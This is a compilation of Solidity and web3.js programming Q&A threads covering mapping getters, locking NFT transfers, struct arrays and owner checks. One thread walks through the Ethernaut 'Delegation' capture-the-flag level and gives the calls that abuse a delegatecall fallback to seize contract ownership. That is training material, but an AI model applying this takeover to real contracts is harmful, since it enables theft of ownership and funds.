I have this piece of code, but I dont have implemented a view returns function.
mapping (uint256 => TokenTimeLockInfo) public locks;
struct TokenTimeLockInfo {
Token token;
address beneficiary;
uint256 amount;
uint256 unlockTime;
}
I can access the value way web3js are possible?
Or do I need another contract to implement a view returns?
Since the property is public, you can access it using the getter function automatically generated by Solidity compiler.
const myContract = new web3.eth.Contract(abiJson, contractAddress);
// returns value of the mapping for the key `0`
const info = await myContract.methods.locks(0).call();
Docs:
https://docs.soliditylang.org/en/v0.8.6/contracts.html#getter-functions
https://web3js.readthedocs.io/en/v1.3.4/web3-eth-contract.html#methods-mymethod-call
Related
I am going through the ethernaut ctf challeneges and I am trying to take ownership of this contract through my own smart contract, here is the target code:
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
My assumption is that you can exploit this code and take ownership by passing msg.data in the Delegation contract that corresponds to the pwn() function in the Delegate contract (using delegate call this will allow us to take ownership of the delegation contract). My problem is passing in the msg.data and I am not entirely sure how to do it properly, here is my attempt:
contract ownerAttack {
function attack(address payable _victim) public payable {
address to = payable(_victim);
(bool sent, ) = to.call{value: msg.value}(abi.encodeWithSignature("pwn()"));
require(sent , "transfer failed");
}
receive()external payable{
}
However the transfer fails, thanks in advance for the help
You have correctly identified the approach to this; we have to send in the function selector of the target contract (Delegate) while making a call to the immediate contract (Delegation).
For this, we can Web3JS or EtherJS. Ethernaut console supports Web3JS so we will go with that here.
First, we have to calculate the selector for the pwn() function.
const selector = web3.eth.abi.encodeFunctionSignature("pwn()")
Second, we have to make the call to Delegation, but call pwn() as its function. This way, the fallback function is triggered, which then makes the delegate call to the function whose selector is in msg.data of the transaction. Thus, pwn() function of Delegate contract is called.
To make the call, we simply use sendTransaction like:
await web3.eth.sendTransaction({from: player, to: contract.address, data: selector})
And this should answer your question.
I think Hasan Answer will work, but if you want to do the attack entirely inside solidity, I think you might be able to get the function signature by doing:
bytes4 encodedSignature = bytes4(keccak256("pwn()"));
Hashing with keccak256 and then casting it to bytes4 is exatcly how Solidity generates function signatures, so this should work.
But after some research it looks like you can also use this to retrieve it:
Delegate(0).pwn.selector
Then use the returned value to make the attack.
The following also works:
bytes memory selector = abi.encodeWithSignature("pwn()");
(bool success, ) = address(c).call(selector);
c is the address of the contract which makes the delegatecall
Hi all I am building a blockchain-based game around an NFT project and am looking to understand if it's possible to implement the following.
Have a method on the NFT contract that when called can locks the transfer of all minted NFT's for a period. A bit like a game of tag than when your tag the contract all the (NFT / players) cant (move /transfer)
I assume I would need overide the transfer method then do a boolean check.
Something like
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
if(!isLocked){
safeTransferFrom(from, to, tokenId, "");
}
}
Will this work as I expect and is there any issues with this and would override the transfer method especially around security etc.
Sorry for such a broad question
Thanks
From the context, it seems like you're using the OpenZeppelin implementation. If that's the case, you can override their _beforeTokenTransfer() function, which is effectively called from all functions performing token transfer (as there is multiple of them).
pragma solidity ^0.8;
import "#openzeppelin/contracts/token/ERC721/ERC721.sol";
contract MyCollection is ERC721 {
constructor() ERC721("MyCollection", "MyC") {
_mint(msg.sender, 1);
}
// needs to be unlocked for the `_mint()` function in constructor
bool locked = false;
function setLocked(bool _locked) external {
locked = _locked;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override {
require(!locked, "Cannot transfer - currently locked");
}
}
If you're using other or custom implementation, or chose to only override the publicly visible functions, make sure that there is no other public or external function allowing the transfer without the lock mechanism.
Also few notes to your current code:
You probably won't need the virtual keyword. It allows the function to be further overridden. Unless you're expecting to override this function as well, you can safely remove the keyword.
You're calling the parent function with the same name but different argument set. If you wanted to call the parent function with the same name and the same argument set (assuming it's defined), you'd need to use the super keyword (same as in Java): super.safeTransferFrom(from, to, tokenId);
Can someone please explain me why this works fine
import "./SimpleStorage.sol";
pragma solidity ^0.6.0;
contract storageFactoryContract {
SimpleStorage[] public asd;
function createSimpleStorageContract() public{
SimpleStorage simpleStorage = new SimpleStorage();
}
}
but this doesn't
import "./SimpleStorage.sol";
pragma solidity ^0.6.0;
contract storageFactoryContract {
function createSimpleStorageContract() public{
SimpleStorage[] public asd;
SimpleStorage simpleStorage = new SimpleStorage();
}
}
The error is:
freecodecamptutorial/FactoryContract.sol:14:26: ParserError: Expected ';' but got 'public'
SimpleStorage[] public asd;
^----^
In the second snippet, you're trying to set a visibility modifier for a regular variable. Only state variables (i.e. contract properties) and functions can have visibility modifiers.
Reference type variables (such as a contract) need to also have a data location. Since you're not working with the variable further, you can safely use the memory location. If you were to store it in storage, you might want to use the storage data location.
function createSimpleStorageContract() public {
// removed the `public` modifier
// added the `memory` data location
SimpleStorage[] memory asd;
SimpleStorage simpleStorage = new SimpleStorage();
}
This will generate two warnings about the unused variables asd and simpleStorage. It's simply because you're assigning the variables but never using them later. In this context, you can safely ignore them.
Note: I'm assuming that the SimpleStorage is a contract without a constructor or with a 0-argument constructor. Otherwise, you might get some different errors, for example wrong argument count.
It is mentioned here that ABIEncoderV2 should make it possible to pass structs from contract to contract. Solidity latest ABI spec mentions that it is possible to have tuple array as a input. Can you please say how array of structs / tuple[] should be sent in below example code from TupleArrayFactory to TupleArray?
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
contract TupleArrayFactory {
TupleArray newTuple;
function createTuple() public {
newTuple = new TupleArray("trait0", "display0", 0);
// newTuple.pushAttribute([["trait1","display2",2]]);
newTuple.pushAttribute(["trait1","display2",2]);
// TypeError: Unable to deduce common type for array elements.
}
}
contract TupleArray {
struct Attribute {
string trait_type;
string display_type;
uint8 value;
}
Attribute[] public attributes;
Attribute[] public tempAttributeArr;
constructor(string memory trait_type, string memory display_type, uint8 value) payable {
Attribute memory Attribute0 = Attribute(trait_type, display_type, value);
tempAttributeArr.push(Attribute0);
pushAttribute(tempAttributeArr);
//pushAttribute([trait_type, display_type, value]);
// TypeError: Unable to deduce common type for array elements.
}
function pushAttribute(Attribute[] memory _attr) public payable {
attributes.push(_attr[0]);
}
}
Here's a working version of your example:
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
contract TupleArrayFactory {
TupleArray newTuple;
function createTuple() public {
newTuple = new TupleArray("trait0", "display0", 0);
TupleArray.Attribute[] memory attributes = new TupleArray.Attribute[](1);
attributes[0] = TupleArray.Attribute("trait1", "display2", 2);
newTuple.pushAttribute(attributes);
}
}
contract TupleArray {
struct Attribute {
string trait_type;
string display_type;
uint8 value;
}
Attribute[] public attributes;
constructor(string memory trait_type, string memory display_type, uint8 value) payable {
Attribute[] memory tempAttributeArr = new Attribute[](1);
tempAttributeArr[0] = Attribute(trait_type, display_type, value);
pushAttribute(tempAttributeArr);
}
function pushAttribute(Attribute[] memory _attr) public payable {
attributes.push(_attr[0]);
}
}
Some remarks:
pushAttribute([["trait1","display2",2]]) won't work because an array is not implicitly convertible to a struct. You have to invoke the struct constructor.
Even then pushAttribute([TupleArray.Attribute("trait1","display2",2)]) won't work because Solidity currently does not have dynamic array literals. If you want to pass a dynamic array into a function you have to create a variable for it.
Your pushAttribute() takes an array but ignores all but the first element. So why make it an array at all? I'm assuming it's for the sake of the example but if not, you should make the function just accept a single struct.
Putting tempAttributeArr in storage works but is not necessary. You can put it in memory, which is cheaper.
Solidity latest ABI spec mentions that it is possible to have tuple array as a input.
The docs you are linking to only describe how tuples (used for example to return named function arguments or return values) are formatted in the JSON describing the ABI.
Maybe you're referring to some other section on that page? In general, structs are encoded as tuples the ABI, which might be the source of confusion there. But this simply means that if you are encoding the parameters yourself (e.g. when you use off-chain code to issue a transaction), you should encode structs as tuples. If you are just calling external functions on chain, you do not have to do that. In fact you can't because structs and tuples are not convertible to each other. You have to use an actual struct when a function expects a struct and the struct type must be the exact one specified in function signature.
I want to create a dApp where one can do certain things related to a contract they've deployed. let's say it'll be used to manage a token listing site.
I need to figure out how to verify that the address that's calling the functions matches the address that created a particular contract.
eg. 0x01 is the contract creator of Contract A
0x01 calls a function along with the parameter of Contract A's contract address in Contract B
A function within Contract B then finds the contract creator's address of Contract A somehow and matches that against 0x01
Is this possible to do in solidity?
Code
pragma solidity ^0.4.20;
contract A {
address private owner_;
function A() public {
owner_ = msg.sender;
}
function getOwner() public view returns (address) {
return owner_;
}
}
contract B {
function findAsOwner() public view returns (bool) {
require(A(address of contract A).getOwner() == msg.sender);
return true;
}
}
I tested it on my remix. I called findAsOwner() and it passed the require part and returned true. You may use this pattern.